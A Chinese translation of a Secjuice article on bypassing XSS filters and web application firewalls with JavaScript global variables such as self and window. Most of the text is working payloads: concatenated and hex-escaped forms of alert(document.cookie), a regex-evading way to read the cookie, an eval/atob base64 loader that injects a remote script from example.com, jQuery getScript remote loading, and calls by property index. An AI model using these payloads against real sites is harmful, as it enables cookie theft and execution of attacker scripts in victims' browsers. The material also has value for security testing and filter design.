在进行网络攻击的过程中,当我们发现目标网站存在过滤器或防火墙时,我们还有多大的可能性可以利用反射(甚至是存储型)XSS。此时,绕过防火墙或过滤器最有效的方法之一是使用全局变量,如self、document、this、top或windows。
我将在PortSwigger Web Security Academy实验室测试本文中出现的所有payload,您也可以使用浏览器JavaScript控制台对其进行测试。
什么是JavaScript全局变量?
JavaScript全局变量在函数外部声明或使用Window对象声明。任何函数都可以访问它。
假设您的目标web应用程序存在JavaScript字符串或JavaScript函数中的反射型XSS。
例如,让我们看一个PHP例子:
echo "<script>
var message = 'Hello ".$_GET["name"]."';
alert(message);
</script>";
可以看出,name参数存在漏洞。但在本例中,假设Web应用程序有一个过滤器,该过滤器防止对任何使用正则表达式的用户输入使用“document.cookie”字符串,如/document[^\.]*.[^\.]*cookie/
。我们来看看以下payload:
在这种情况下,可以使用JavaScript全局变量来绕过它。我们有很多方法可以从window或self对象访问document.cookie。例如,诸如window["document"]["cookie"]
之类的内容将不会被阻止:
从上面的示例中可以看到,可以利用和alert("foo");
等价的语法self["alert"]("foo")
访问任何JavaScript函数,这种语法提供了许多绕过弱过滤器的方法。显然,您几乎可以在任何地方使用注释,例如:
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
Window.self
只读属性以WindowProxy
的形式返回窗口本身。它可以与window对象(即window.self)或独立对象(Self)上的点符号一起使用。独立表示法的优点是,对于非窗口上下文(如Web Workers)也存在类似的表示法。通过使用self,您可以引用全局作用域,这种方法不仅可以在窗口上下文中工作(self将解析为window.self),还可以在工作上下文( worker context)中工作(self随后将解析为WorkerGlobalScope.self)。
您可以从以下位置调用任何JavaScript函数:window
self
_self
this
top
parent
frames
绕过WAF规则的最常见技术之一是在尽可能的情况下使用字符串连接。对于RCE来说也是如此,即使对于SQLi也是如此,对于JavaScript也是如此。
有许多WAF使用基于JavaScript函数名称列表的过滤器。其中许多过滤器阻止包含字符串的请求,例如alert()
或String.fromCharCode()
。由于有了全局变量,可以使用字符串串联或十六进制转义序列轻松地绕过它们。
/*
** alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
绕过过滤器的一个更复杂的语法是用十六进制转义序列替换字符串。字符代码小于256的任何字符都可以使用其十六进制表示形式进行转义,并使用\x转义序列:
> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
显然,将"alert", "document"和"cookie"字符串替换为它们的十六进制表示形式,就可以调用前面看到的其中一个全局变量中的任何函数:
/*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
如果WAF过滤我们的输入,那么最难做的事情之一是动态创建(并添加)一个脚本元素,它调用一个远程JavaScript文件(类似于<script src="http://example.com/evil.js"
...)。即使过滤器比较弱,也不容易做到这一点,因为有许多“可识别的”模式,如<script, src=, http://
等等。
Base64
和eval()
可以帮助我们,特别是如果我们可以避免发送“eval”字符串作为用户的输入。请看以下示例:
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
如前所示,我使用十六进制表示的"eval" self["\x65\x76\x61\x6c"]
和“atob”对Base64字符串self[“\x61\x74\x6f\x62”]
进行解码。在Base64字符串中,有以下脚本:
// select head tag
var head = document.getElementsByTagName('head').item(0);
// create an empty <script> element
var script = document.createElement('script');
// set the script element type attribute
script.setAttribute('type', 'text/javascript');
// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');
// append it to the head element
head.appendChild(script);
正如本文通篇提到的,JavaScript为您提供了许多绕过过滤器的方法,这句话在使用jQuery等库的现代网站上更是如此。假设您不能使用self["eval"]
及其十六进制表示形式,您可以让jQuery执行self["$"]["globalEval"]
操作
您甚至可以使用self["$"]["getScript"](url)
轻松地添加本地或远程脚本。getScript使用GET HTTP请求从服务器加载JavaScript文件,然后执行它。该脚本是在全局上下文中执行的,因此它可以引用其他变量并使用jQuery函数。
Object.keys()方法返回给定对象自身属性names的数组,其顺序与使用普通循环得到的顺序相同。
这意味着我们可以通过使用它的索引号而不是函数名来访问任何JavaScript函数。例如,打开浏览器的Web控制台并输入:
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
这将为您提供self对象内的“alert”函数的索引号。这个数字在每个浏览器和每个打开的文档上都是不同的(在我的示例中是5),但它可以使您能够调用任何函数,而无需使用其名称。例如:
> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
为了迭代self内部的所有函数,可以循环访问self对象,并使用typeof elm === "function"
检查元素是否为函数。
f=""
for(i in self) {
if(typeof self[i] === "function") {
f += i+", "
}
};
console.log(f)
迭代self内部的所有函数
如前所述,此编号可以在不同的浏览器和文档中更改,因此,如果不允许使用“alert”字符串,并且不能使用上述任何方法,那么如何找到“alert”索引号?
JavaScript为您提供了很多执行此操作的机会。我们可以做的一件事是为变量(a)分配一个函数,该函数迭代self并找到alert索引号。然后,我们可以使用test()
查找带有正则表达式的“alert”,如^a[rel]+t$
:
a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
过滤和验证,这两个术语经常被初学者混淆。验证意味着验证提交的数据是否符合开发人员为特定输入字段设置的规则或规则集。显然,对用户输入进行良好的验证是Web应用程序应该做的一件非常重要的事情。
原文:https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/